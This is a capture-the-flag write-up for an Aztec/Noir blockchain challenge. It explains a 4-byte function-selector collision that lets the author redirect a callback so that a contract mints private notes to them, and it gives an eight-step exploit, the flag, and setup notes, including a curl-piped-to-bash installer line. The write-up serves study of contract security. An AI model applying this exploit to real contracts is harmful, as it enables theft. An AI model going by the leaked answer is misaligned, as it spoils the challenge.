CERN
Two Aztec functions share a 4-byte selector, so redirecting a callback to the contract itself mints its private notes to me.
NNS{7He_4714s_tr16g3r_kep7_0n3_v3rY_Pr1Vat3_d1PH0toN_3V3nt_H1DD3N_insiDe_7H3_ceNtR4l_Readout_57R3aM} Challenge
Three pre-deployed Aztec (Noir) private contracts on a live node: AtlasTrigger (with private note types), DetectorInterface, FlagEmitter. “CERN produces far more collision data than it can keep. Make sure yours can survive the ATLAS Trigger.” A solve.test.ts (aztec.js/vitest) scaffold is provided. Win = drive FlagEmitter.emit_flag(you) → requires is_captured(atlas, you) == true.
Win path
emit_flag(you) is reachable only via AtlasTrigger.archive_higgs_candidate(you, bunch) (guarded only_self + emit allowlist), enqueued when commit_higgs_candidate succeeds. That requires the caller (researcher = msg_sender = you) to own all of:
DetectorSessionNote(stage=EVENT_BOUND, class=EVENT_CENTRAL)(fromsubmit_diphoton_event)BeamConditionNote(fromattest_beam_conditions)EventHeaderNote,HltDecisionNote, 3×ReadoutFragmentNote(sources0x41LAr,0x43Inner,0x46L1-topo)
plus public state l1_mass_squared[you][bunch]!=0 and attested_luminosity[you] >= 1000.
The event-builder notes (EventHeader/HltDecision/ReadoutFragment) are minted only by reconstruct_central_block, guarded by assert(msg_sender == this_address) and normally reached via dispatch_central_readout with frame_owner = this_address → notes owned by the contract, unspendable by you. Dead end by design.
Vulnerability — function-selector collision
submit_diphoton_event dispatches the EVENT_CENTRAL callback to the attacker-controlled readout_processor (set in register_detector_configuration):
DetectorInterface::at(readout_processor).calibrate_candidate_cluster(researcher, bunch, mass2, fingerprint)
calibrate_candidate_cluster and reconstruct_central_block share the same argument types ((Field),Field,u128,Field) and therefore the same 4-byte function selector 0x2bc3d14e (verified via FunctionSelector.fromNameAndParameters). Setting readout_processor = AtlasTrigger's own address redirects the callback into AtlasTrigger.reconstruct_central_block(frame_owner = researcher = you, …). Because the call is AtlasTrigger→AtlasTrigger, the msg_sender == this_address guard passes, and frame_owner = you ⇒ all event-builder notes are minted owned by you. Only the CENTRAL route’s selector collides (the other three differ), so the event must be EVENT_CENTRAL. The random() note nonces are PXE-supplied, so they’re readable client-side. stream_tag = self.context.selector() = 0x2bc3d14e.
Exploit (8 steps, against the pre-deployed AtlasTrigger — no helper contract)
advance_trigger_menu(47)untiltrigger_menu_position(47) % 3 == 2(menu is global/shared — read then top up; retry on races).register_detector_configuration(cfg=1, readout_processor = ATLAS_ADDR)← AtlasTrigger’s own address0x0e4b203f…2481c2.activate_detector_configuration(1)attest_beam_conditions(1, 0, 1000)→ luminosity 1000.submit_diphoton_event(1, bunch=2, e1=61,px1=0,py1=0,pz1=61, e2=61,px2=0,py2=0,pz2=(FIELD_PRIME-61))— back-to-back massless photons along z:total_pz=0→ EVENT_CENTRAL;mass²=122²=14884 ∈ [14400,16900]. Sets the L1 record and (via the selector collision) mints header/decision/fragment notes owned by you. (bunch=2becausebunch=1had been consumed by an earlier attempt on the same live instance.)event_fingerprint = poseidon2([you,1,bunch,61,0,0,61,61,0,0,(FIELD_PRIME-61),14884]); callquery_readout_fragment(you,bunch,event_fingerprint,i).simulate()for i=0..6, readfragment_nonceof the notes withsource_id0x41/0x43/0x46→lar_nonce, inner_nonce, l1topo_nonce.commit_higgs_candidate(1, bunch, 14884, event_fingerprint, lar_nonce, inner_nonce, l1topo_nonce, stream_tag=0x2bc3d14e)→ enqueuesarchive_higgs_candidate→emit_flag(you).is_captured(atlas, you)flips totrue; the Web UI reveals the flag.
Tooling notes (Docker-free Aztec on WSL2)
nvm→ Node 22;npm i -g yarn;yarn install.bash -i <(curl -s https://install.aztec.network)withVERSION=4.2.0-aztecnr-rc.2→aztec,nargo1.0.0-beta.18,bb.js(bundled native amd64-linux prover; no separatebbCLI).yarn ccccompiles the 3 contracts + codegen artifacts.EmbeddedWallet(@aztec/wallets/embedded) connected directly to the remote node RPC; register the schnorr account from the given secret key / salt=0 / signing key; register the two deployed contracts vianode.getContract(address)+ local artifact.- Gotchas: this SDK’s
.send()already awaits mining (don’t chain.wait()); the live node needsrealProofs→ setproverEnabled: true(≈5–11s/tx with the native prover).
Deliverables in blockchain/cern/cern/: src/ts/solve_full.ts (standalone capture script), src/ts/solve.test.ts, compiled src/artifacts/*.ts.